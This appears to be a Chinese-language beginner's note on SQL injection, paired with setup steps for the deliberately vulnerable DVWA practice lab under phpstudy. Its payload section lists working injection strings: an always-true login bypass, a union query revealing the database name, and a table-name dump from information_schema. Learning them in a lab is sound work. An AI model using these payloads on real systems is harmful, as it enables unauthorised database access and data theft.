一、注入原理
后台直接执行用户输入参数,未过滤,导致恶意SQL语句执行,泄露数据库数据。
二、两大基础注入类型
- 数字型:参数无引号包裹,直接拼接
例:id=1
- 字符型:参数被单/双引号包裹,必须先闭合
例:id='1'
三、字符型核心闭合思路
1.单引号闭合:'报错确认存在注入
2.注释掉后面原有语句;--+或#
3.万能基础语句
' or 1=1 --+
四、基础联合查询注入流程
1.判断字符数:order by 1/2/3
2.找显示位
3.查询库名、表名、字段、数据
五、payload
1' or 1=1 --+
1' union select 1,database() --+
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
六、DVWA搭建
1.首先下载phpstudy,打开web服务
- Apache
- MyAQL

2.下载 DVWA
官网下载:https://github.com/digininja/DVWA
点 Code → Download ZIP。
3.解压后文件名改为dvwa
4.进入phpstudy,创建网站,域名随便填,这里php版本选择7.3/7.4

5.点击管理,选择打开根目录,把刚刚解压的dvwa整个文件夹拖进去;


6.配置数据库连接(核心)
进入 dvwa/config 文件夹。
复制一份:config.inc.php.dist
并重命名为:config.inc.php
用记事本打开 config.inc.php,修改 3 行:
$_DVWA['db_user'] = 'dvwa'; // 数据库账号(默认root)
$_DVWA['db_password'] = ''; // 密码:单引号中填密码
$_DVWA['db_database'] = 'dvwa'; // 数据库名:dvwa
7.打开网站


8.修复 allow_url_include: Disabled
-
打开 phpstudy,找到你当前使用的 PHP 7.4.3,点击右侧的「配置」,选择 php.ini。
-
在文件中搜索以下两行配置,并修改为:
allow_url_fopen = On
allow_url_include = On
注意:allow_url_include 在 PHP 7.4 中被标记为 "已弃用",但 DVWA 仍然需要它来运行部分漏洞。
- 保存文件,然后在 phpstudy 中重启 Apache 服务。
- 刷新 DVWA 的 Setup 页面,确认 allow_url_include 变为 Enabled。


9.在phpstudy中,点击数据库,创建数据库,填写刚刚修改的内容,一定要与刚刚文件内容一致

10.登录DVWA
帐号:admin
密码:password


在左侧菜单栏找到DVWA Security,将安全等级改为low,点击submit提交,这样就可以开始练习了。
